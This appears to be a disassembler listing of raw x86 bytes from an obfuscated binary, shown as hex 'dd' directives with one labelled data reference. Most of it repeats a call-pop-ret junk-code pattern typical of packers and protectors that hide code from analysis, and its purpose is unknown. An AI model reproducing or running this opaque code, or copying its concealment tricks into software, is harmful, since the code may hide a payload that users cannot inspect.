dd 0E8064814h, 10h, 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h
dd 5BF1BF0Fh, 0CB816661h, 6AB684h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 8DC103C3h, 2B918D89h
dd 0BD230648h, 6482B41h, 93DA858Dh, 6A064Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0BC7BF9C3h
dd 6C09598Fh, 805C8234h, 6690F5DFh, 50C1CBBFh, 12E8h, 6493F300h
dd 0DC32C795h, 25694DEBh, 76D8A93Fh, 6068F7CDh, 5B615A53h
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 640CF444h, 35FFh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 89643EC3h
dd 25h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 0FFDE8BDFh, 481AD185h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 66995B00h, 6ADEB70Fh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0EED2B7C6h, 0D48C44B0h
dd 0FFF88220h, 481A1DB5h, 0CF816606h, 95FF6C27h, 64810D9h
dd 113E9h, 0A19D8B00h, 0B006481Ch, 61BD8B00h, 0E6064823h
dd 5E970h, 1A680000h, 0E4C956C0h, 0EB81F971h, 429178F6h
dd 830F613Ch, 0E8h, 26E9BD0Bh, 0B60F0648h, 0F2BB66C8h
dd 6BA82h, 0C18B0000h, 31CF781h, 0E8C173D2h, 0FA8B6004h
dd 11E8h, 50234B00h, 0A97FF60Ch, 0F9AD2C18h, 1CEF6DDh
dd 0E580BB78h, 6661595Bh, 860FE2F7h, 7, 0DF816656h, 2B5BA75Fh
dd 29D18BC8h, 482F8995h, 0AE906h, 5E90000h, 0BD000000h
dd 24C466FBh, 1745858Bh, 6E80648h, 9E000000h, 0F1986244h
dd 0F7CF81A7h, 5B6DDBAAh, 8B07C083h, 4809399Dh, 0C08306h
dd 44DBD2Bh, 0D03B0648h, 17830Fh, 95890000h, 6480BE1h
dd 47E9h, 6800F00h, 8B000000h, 480085BDh, 0C98D8B06h, 0B06482Fh
dd 4805F99Dh, 1E18306h, 26840Fh, 0CBF0000h, 0BB5937EAh
dd 2ABCEDA1h, 2FC9A583h, 8BFE0648h, 4814959Dh, 45958906h
dd 60064817h, 0E961CC8Ah, 0
dd 0E73EB58Dh, 0FB8B064Bh, 8C48EB81h, 6A1C48h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DC35747h, 0EB57389Eh
dd 0A0217ABEh, 7E9DBh, 656B0000h, 9444F8F2h, 0B9950161h
dd 0FF06482Fh, 48092D95h, 8E95706h, 32000000h, 3A352C40h
dd 5F4A319Fh, 910B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0C620F8DEh, 40226D46h
dd 0EE83Ch, 0C2030000h, 0BFB5048h, 0C9A671CBh, 60B08A95h
dd 12E8h, 732C5600h, 849C1622h, 73854E53h, 0BE3693A5h
dd 0BB18559Fh, 28D4C68h, 83FC5F5Bh, 7DBFFCE1h, 0FC2A740Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h
dd 668CFD18h, 0B8FE8Bh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FE8CC356h
dd 0BAF98A8Ch, 0
dd 8719D8Bh, 33AD0648h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 452C70C3h, 868FE50h, 8BDF923Fh, 45BD8BF9h, 0D06482Fh
dd 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
dd 44C35242h, 0BF71625Fh, 0ACAC28D3h, 5958BD0h, 6A064814h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 67FEC356h, 78CD3178h, 8D8B5C77h, 6483025h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 17C35545h
dd 0CE775A18h, 818D89F0h, 0E806482Ah, 13h, 0E941868Dh
dd 2512D2D3h, 3A380BEAh, 77B0B704h, 894750A4h, 48007DB5h
dd 8B505B06h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8FC35747h
dd 7A86D45Ah, 0E93CB359h, 0Fh, 4F8707ADh, 2FE51FE5h, 0AE0F928Fh
dd 83411DECh, 4812FDBDh, 840F0006h, 7Eh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 17h, 8EC35545h, 0B8521152h
dd 0
dd 8D9BDF80h, 484E808Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 7D32C36h, 3131BD8Bh, 0FFFC0648h
dd 11E8E1h, 0F3C90000h, 8E018C7Fh, 987C3E82h, 6541EABBh
dd 0F5A5460h, 68Fh, 820F00h, 5B000000h, 2EDFF781h, 0BD837DD1h
dd 6482AD9h, 6F840F00h, 6A000004h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0ABDEC352h
dd 0ED44EFEEh, 1C5DBD89h, 9D8B0648h, 648275Dh, 8EDC28BFh
dd 0D9BD835Bh, 106482Ah, 44B840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8F73E7C3h
dd 0BD832716h, 6482AD9h, 0E8860F03h, 6A000003h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0E68DC353h, 14E964h, 58A40000h, 0C247B3B8h, 41841A64h
dd 0BA479BFFh, 653F91C7h, 0F60E95Eh, 686h, 0B9958900h
dd 6606481Bh, 9D8BD98Ch, 64822C1h, 6A04E180h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 6628C355h, 840FC90Ah, 125h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 8CC35646h, 0AE8B310Eh, 0F894FD70h
dd 158D89FCh, 8B06481Bh, 48115985h, 0DBD8B06h, 33064823h
dd 48121985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0D9D8B8Bh, 66064802h, 6090FE8Bh
dd 2860Fh, 0DA8B0000h, 5061C78Bh, 8B665250h, 0E9310FD8h
dd 8, 6725089h, 0BD957ACAh, 6A90585Ah, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 3965C356h
dd 341B3413h, 6A75E063h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0E2382373h, 7679B713h
dd 68FC78BCh, 3D73FE70h, 0EE95250h, 4F000000h, 0A354C787h
dd 57EFB7D9h, 47864D8h, 8B310FFDh, 81585AFAh, 0FD8F2434h
dd 7E93D6Ch, 0F0000000h, 382C95A3h, 95FF0AA5h, 6480741h
dd 1BB18D89h, 85890648h, 64BB689h, 0E9DE8B66h, 1BAh, 8D48D6BBh
dd 81858B23h, 6A064BB6h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0BD0DC356h, 0FAF47B6h
dd 383h, 0FEB70F00h, 1800C7h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0B3B8ADC3h
dd 85B58B6Ch, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 8B78C355h, 481A8585h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0BD7C795Dh, 9E39DEFh, 6898586h, 1159858Bh
dd 5AB70648h, 141BD89h, 46890648h, 55006A04h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CE9500Fh
dd 79000000h, 0C0E7AF96h, 826DA65Dh, 89468A1Bh, 0B5092434h
dd 6480071h, 0B681B5FFh, 0BD89064Bh, 6481CD9h, 4E8h, 1F03FF00h
dd 50D98B00h, 28E0Fh, 0DF8B0000h, 424448Bh, 0BB665250h
dd 310F1D85h, 585ADE8Bh, 810F008Bh, 5, 0F88B6651h, 2444895Fh
dd 11E804h, 9AEE0000h, 6222C785h, 99B38AD6h, 900C0A8Eh
dd 51F7DBE7h, 5F5BFB8Bh, 38B0F58h, 80000000h, 858D20EBh
dd 64BB689h, 50D9B70Fh, 2FE1BB66h, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0E818C357h, 880F0825h, 6, 0D159D8Bh, 95FF0648h, 6480741h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4C35141h
dd 0AE13ABC9h, 6A612128h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0D971C356h, 0DA795305h
dd 8B56E24Dh, 480FDDBDh, 0D985C706h, 306482Ah, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0EF8AC350h, 8B2A7E60h, 4813E5BDh, 89BD8306h
dd 64BB6h, 31840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 6AEEACC3h, 5E8C46B7h
dd 78D8589h, 1FE90648h, 8B000000h, 50F88AD8h, 110C30h
dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h
dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h
dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0C7FEE9C3h, 0DDBBF895h, 6A7C7019h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F6F3C350h
dd 0CDC62914h, 8947BAC7h, 4808699Dh, 0DA8B6606h, 2AD9BD83h
dd 0F030648h, 40D85h, 6810F00h, 89000000h, 482EBD8Dh, 89BD8306h
dd 64BB6h, 3F4840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 3EBBBCC3h, 0FF1329FBh
dd 4BB689B5h, 68A0F06h, 8B000000h, 4809C59Dh, 0C58D8906h
dd 0FF06481Ah, 4809F595h, 719D8906h, 81064800h, 340249DFh
dd 7DB58B2Dh, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 2993C355h, 8BBFD99Bh
dd 8B31ED8Ch, 4806A99Dh, 106C706h, 8B000100h, 481B01BDh
dd 9D8B6006h, 6480B91h, 6850Fh, 95890000h, 6483151h, 34895061h
dd 0E98D0124h, 0FF064810h, 4BB689B5h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 4533ACFDh, 0B0A4D7FDh, 9D8B527Ah, 64808B5h, 6195FF5Bh
dd 6A064800h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 7B2FC353h, 0D37CA7DAh, 0B589AAD7h
dd 6481AFDh, 0B67DB58Bh, 6A064Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 3729F7C3h, 8B6083EEh
dd 48286595h, 0C2B70F06h, 25858B61h, 6A06480Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 78EAC356h, 0D381665Ah, 8689BDB7h, 0C4h, 91FACCBBh, 5958B48h
dd 6A064814h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 2D40C352h, 0B0B3C153h, 6A04C283h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 960DC350h, 234D8509h, 50890648h, 0B1B58920h
dd 8D064817h, 4BCAD485h, 0A5BF6606h, 0B886899Fh, 8B000000h
dd 481AA9BDh, 1858906h, 6A064828h, 69953100h, 0FF064832h
dd 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 51C2C2ADh, 51FAB90Bh, 4854CB81h
dd 95FF756Dh, 6480051h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0B4C35545h, 84D1239Ah, 0FB8B6676h, 0D98B6650h
dd 89243489h, 480A2DB5h, 89B5FF06h, 6A064BB6h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 1DFC356h, 48330D9Dh, 0B9BD8B06h, 60064828h
dd 0FC4BC081h, 0F605103h, 8Bh, 69D28100h, 6101962Ch, 2995FF61h
dd 29064814h, 481F0D95h, 0A9BD8306h, 64831h, 34840Fh, 81660000h
dd 962182D7h, 7BCC3EBBh, 6A965053h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6641C353h
dd 8B574C72h, 482A49BDh, 0B5FF5F06h, 64BB689h, 23598D01h
dd 95FF0648h, 64813FDh, 18619529h, 0B5FF0648h, 64BB689h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 82C35343h
dd 1C2A0278h, 23A8BE29h, 177D95FFh, 6A0648h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DC49AEC3h
dd 68B0Fh, 85090000h, 648004Dh, 9D98D01h, 0BD830648h, 6482F1Dh
dd 84840F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 11CFC353h, 858995C5h
dd 64805B1h, 8BCBD780h, 48155185h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 348F6148h
dd 0FD6126A7h, 858955DBh, 6481B35h, 0C6A5EF80h, 0B5010000h
dd 64828EDh, 13E8h, 0C3DEA100h, 702A0EF7h, 2CF7A1B9h, 0D549C922h
dd 38C01C33h, 0D319D8Bh, 0C75B0648h, 4816E185h, 6, 1494BF00h
dd 0CCE95DA6h, 89FFFFF2h, 48322995h, 6AC18B06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8D48C352h, 48125585h, 0B1BD0906h, 0BB064830h, 379BC67Ch
dd 89FC8A50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 2DAF3CC3h, 0CBB7AD8h, 0BF19D8Bh
dd 6AFC0648h, 6890F00h, 89000000h, 48053D9Dh, 5501BB06h
dd 6A4E27h, 0FE9h, 6DB87200h, 0D042B154h, 0EC5F064h, 7FCE0C48h
dd 65A9858Dh, 6A064Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0C4D34C3h, 51231A5Dh, 8310865Ah
dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 71E2F6C3h, 0EBEA853Fh, 0DA8B50A3h, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 6ADC350h, 8DD9D0Bh, 6A0648h, 0D159D8Bh, 6A0648h
dd 22A59509h, 95FF0648h, 6482B2Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0FC35747h, 0C3BC8FF9h, 0F142980Dh
dd 388D8D49h, 0F5064B99h, 40B7D1FFh, 1F98589h, 0BD830648h
dd 64830E5h, 5B850F01h, 0B7000000h, 6A026AC1h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0E0F6C353h, 0C380CBCEh, 8B665050h, 240489D8h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 59C35040h, 635C1C8Fh
dd 0DDBD8B48h, 0FF064830h, 48005195h, 0EBE9FC06h, 0E800000Ch
dd 0
dd 0B3ED815Dh, 6A064C65h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 1DF0C357h, 1FC306BDh
dd 6AD1F5F3h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 3047C350h, 0C3816635h, 51C45448h
dd 93DA858Dh, 8D89064Bh, 64821C1h, 24048950h, 64FE8B66h
dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0B0FC7DC3h, 68493202h, 89601DADh
dd 482AEDBDh, 61FDB606h, 258964h, 0F8000000h, 1AD185FFh
dd 8A0F0648h, 0Bh, 6E9h, 82BF1A00h, 6A845645h, 0C860FFFh
dd 0F000000h, 684h, 0E5958900h, 0FF064809h, 4827D9B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0E99D8B76h, 0FF064810h, 4810D995h, 0EFE906h
dd 9D8B0000h, 64814F5h, 0EB8100B0h, 6D62717Dh, 0B70F70E6h
dd 6671E4F8h, 613CFE8Bh, 0CF830Fh, 9D890000h, 6480015h
dd 0A7F78166h, 0C8B60F62h, 1C0D8529h, 6BA0648h, 81000000h
dd 0F950E8C3h, 8BC18B34h, 481C9D9Dh, 0F99D8B06h, 0C106482Bh
dd 0DAB304E8h, 56E2F766h, 5BDABF0Fh, 0F56C82Bh, 8B5FFBBFh
dd 0DEBF0FD1h, 8ED9D31h, 3E90648h, 0F000000h, 858BFFBFh
dd 6480AC9h, 5ADBE781h, 0C0831A29h, 0A9BD8B07h, 8306482Bh
dd 0B70F00C0h, 0FD03BDBh, 1E83h, 0D7816600h, 9D8B204Ch
dd 64813B9h, 48E9h, 9E900h, 87A90000h, 44B833B1h, 8B0858D4h
dd 4811918Dh, 159D8B06h, 81064801h, 0EF2207D3h, 1E18346h
dd 1F840Fh, 8B660000h, 91A583FBh, 0FE064811h, 3F9BB66h
dd 0AC99589h, 66F80648h, 33F2DB81h, 0E9h, 0C7B58D00h, 6A064BF1h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0A60AC351h, 0F0B2C51Ch, 6A006A43h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 674C357h, 0CD17E2D4h, 2BB9B589h, 0BF0F0648h, 2D95FFDFh
dd 6A064809h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 7446C356h, 4A0A407h, 9A4BB565h
dd 81CB9h, 0B1BD2300h, 8306482Fh, 9D8BFCE1h, 6481535h
dd 68F0FFCh, 89000000h, 482C01BDh, 89C02B06h, 482C0595h
dd 0E9D22B06h, 0Ch, 0A58143CFh, 4ADD949h, 0E702CF90h, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 11559D8Bh, 840F0648h, 6, 2E659D8Bh
dd 880D0648h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 3705C356h, 0EE9707Ah
dd 0E7000000h, 565C01CAh, 0B638D0Dh, 8929A1F3h, 5958BEEh
dd 8B064814h, 482969BDh, 258D8B06h, 0F064830h, 688h, 75858900h
dd 50064815h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 6AADB358h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 3E7EC352h, 0DD9D3340h, 89064803h
dd 48065DB5h, 0FDBD8306h, 64812h, 73840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0F2D273C3h, 6EA5D4CFh, 8E9h, 57B7B100h, 0A3A7EF0h, 0B830h
dd 8DF90000h, 484E808Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 42CE39F6h, 4F102D17h
dd 6E9D4h, 706A0000h, 0C04C0979h, 0BB66E1FFh, 0C380E333h
dd 0D9BD8318h, 6482Ah, 451840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0CA3D83C3h
dd 38156E4Fh, 0F9E4B594h, 2AD9BD83h, 0F010648h, 43984h
dd 0C9BD8B00h, 83064827h, 482AD9BDh, 860F0306h, 3F0h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7C35747h, 9C8324C9h
dd 60B9F323h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 5DC35343h, 0DDFC58A8h, 44656D9Bh, 8DBF9FB7h, 665D330Fh
dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0A2C674C3h, 0F8FD14BAh, 6A04E180h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 1166C351h, 19D899Eh, 0E9064820h, 7, 2EA1DE0Fh, 0AC56EFFh
dd 2E840FC9h, 0F000001h, 0C87h, 6810F00h, 3000000h, 480E09BDh
dd 59858B06h, 8B064811h, 481741BDh, 0EE906h, 80330000h
dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 12198533h, 6A0648h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0BD89BDC3h, 64813C9h, 0BB525050h, 8B140BEh, 8B66310Fh
dd 89585ADFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 9C61F7C3h, 0D98B3AD9h, 7E9006Ah
dd 0A5000000h, 0D457FBACh, 4E85DCDh, 0FF000000h, 66001F03h
dd 500E94BBh, 9E96057h, 1E000000h, 44A5CAF3h, 0A95526E3h
dd 5F615F51h, 424448Bh, 0C8B0Fh, 850F0000h, 6, 8F0Fh, 8B0000h
dd 4244489h, 698BBF66h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h
db 0E6h, 0F1h
word_580046 dw 3725h ; DATA XREF: ___:off_4328B4o
; ___:004328BCo ...
dd 8B2E449Ah, 480B01BDh, 4195FF06h, 81064807h, 0E080D0CFh
dd 8985897Eh, 33064BB6h, 4832119Dh, 0D5BD8B06h, 0E9064807h
dd 1C9h, 57F795BFh, 81858B27h, 6A064BB6h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CFD6C352h
dd 6D8E72E8h, 0FA8B66F9h, 30ED9D8Bh, 0C70648h, 18h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 1C35242h, 0BCE930EBh
dd 8905EF95h, 481A4985h, 85B58B06h, 89064BB6h, 480D09BDh
dd 85858B06h, 2B06481Ah, 4806B99Dh, 0F068906h, 858BFBB7h
dd 6481159h, 7B126ABFh, 4468943h, 0E896C5B7h, 10h, 4EA8C329h
dd 0D1B63F4Ch, 0C9B553C1h, 0AA0E771Ah, 14E856h, 59830000h
dd 56C58865h, 9CA44304h, 615CFA72h, 8B43F9DBh, 5F5F0DE0h
dd 0F96505Bh, 0B5FFFAB7h, 64BB681h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0C4C35545h, 0E8F5298Ah, 4
dd 1F03FFh, 52506060h, 585A310Fh, 2B241FB8h, 50616114h
dd 8BDF8B66h, 60042444h, 7E8h, 3B77ED00h, 3C42253Ah, 615FFE8Ah
dd 0E957008Bh, 0Fh, 44BAF2BFh, 0E050A7CEh, 0FD744458h
dd 5B8B1270h, 4244489h, 0CE860h, 1B670000h, 0ABBF3939h
dd 9AAFF3F9h, 5B51528Ch, 0F58615Bh, 689h, 53C38100h, 0E97E9DECh
dd 11h, 29368411h, 0F534D500h, 4A9752ECh, 16907503h, 89858D32h
dd 6A064BB6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 1625C351h, 0F8BF0FBDh, 22E1BD8Bh
dd 0F500648h, 0A88h, 8B666000h, 4A03B8D0h, 8961589Bh, 8E0F2404h
dd 4, 87EFBB66h, 74195FFh, 8B660648h, 6A61FBh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0D32595C3h, 85C7B92Eh, 6482AD9h, 3, 15018D31h, 0BD830648h
dd 64BB689h, 11840F00h, 29000000h, 482B59BDh, 21E906h
dd 0B5890000h, 6481721h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 0F9C08B00h, 10E8h, 4B4A6F00h, 3B4BF441h
dd 400760AEh, 617301EBh, 7E9C0h, 0DEFD0000h, 0B36335C7h
dd 0BD835B80h, 6482AD9h, 26850F03h, 0F000004h, 684h, 39858900h
dd 83064817h, 4BB689BDh, 840F0006h, 40Dh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 16h, 11C35141h, 85014310h
dd 6481569h, 0B689B5FFh, 6A064Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 69085C3h, 8BD3B8F8h
dd 0F595FFDFh, 6A064809h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 8CEC356h, 8332ECD5h
dd 0B67DB58Bh, 9D33064Bh, 6481049h, 106C7h, 13E90001h
dd 55000000h, 0C0392031h, 592E337Fh, 5C4A969Ah, 0BAF70FD1h
dd 0DE8BE297h, 5E950h, 7A3F0000h, 899F9FA8h, 8B662434h
dd 89B5FFDEh, 6A064BB6h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 57ECC353h, 0F8BF0FCFh
dd 6195FFh, 8E90648h, 1D000000h, 37BBA32Eh, 8BA57660h
dd 4BB67DB5h, 8BEDB306h, 480F2585h, 81666006h, 0E8AC7DC6h
dd 0Fh, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 237F4F41h, 4817419Dh
dd 89615A06h, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 1FD58DF7h, 6C76A9D5h
dd 4820FFBh, 66000000h, 8B5359BFh, 4832DDBDh, 9BFFBF06h
dd 958B7D92h, 6481405h, 83DFBF0Fh, 6A04C2h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 49183CC3h
dd 0B99D8B96h, 89064813h, 0BB662050h, 858DFFC3h, 64BCAD4h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ACC35343h
dd 67E5E77Ah, 0AE33FF69h, 17558589h, 85890648h, 64810CDh
dd 0B88689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 9E56DFC3h, 2F527473h, 0CE9006Ah
dd 7F000000h, 0BDE01BD0h, 0FB1E6CEBh, 8B1A90C9h, 481C6D9Dh
dd 89B5FF06h, 6A064BB6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0E75CC350h, 0B51BE3A7h
dd 8039DBA1h, 95FF22EFh, 6480051h, 16BDBD8Bh, 50960648h
dd 5250505Bh, 0FA8B6660h, 820Fh, 0F610000h, 0DE8B6631h
dd 0E996585Ah, 0Fh, 0C42D2356h, 653726E5h, 0B85B71C6h
dd 0FFA0E9DCh, 4BB689B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 95FF8D1Fh
dd 6481429h, 0FD8D0957h, 5F06481Eh, 0BD8381B7h, 64831A9h
dd 42840F00h, 0B7000000h, 0EBF50C9h, 891AC2B0h, 6A2434h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0DBAA92C3h, 0A0BA16A8h, 10E9h, 89324200h, 0CD950A41h
dd 0FC24894h, 0FF21935Eh, 89B5FFBBh, 8B064BB6h, 480A2D9Dh
dd 68B0F06h, 8B000000h, 4828C19Dh, 0FD95FF06h, 89064813h
dd 48178585h, 89B5FF06h, 89064BB6h, 4802F9B5h, 7D95FF06h
dd 66064817h, 0BD8BDE8Bh, 6480B29h, 2F1DBD83h, 0F020648h
dd 0A984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0B2855732h, 89DBB8B0h, 480BB99Dh
dd 51858B06h, 6A064815h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 5457C350h, 830F98F3h
dd 28h, 14E860h, 2E6F0000h, 0B0FD345Dh, 76A83BBDh, 8906D31Dh
dd 838A46DDh, 0E95E59EAh, 7, 638C019Ah, 61716FF8h, 6A0000C6h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 4841C355h, 0A9A324E9h, 6CBFF744h, 0F330E14h
dd 85C7FBBFh, 64816E1h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0ECC35040h
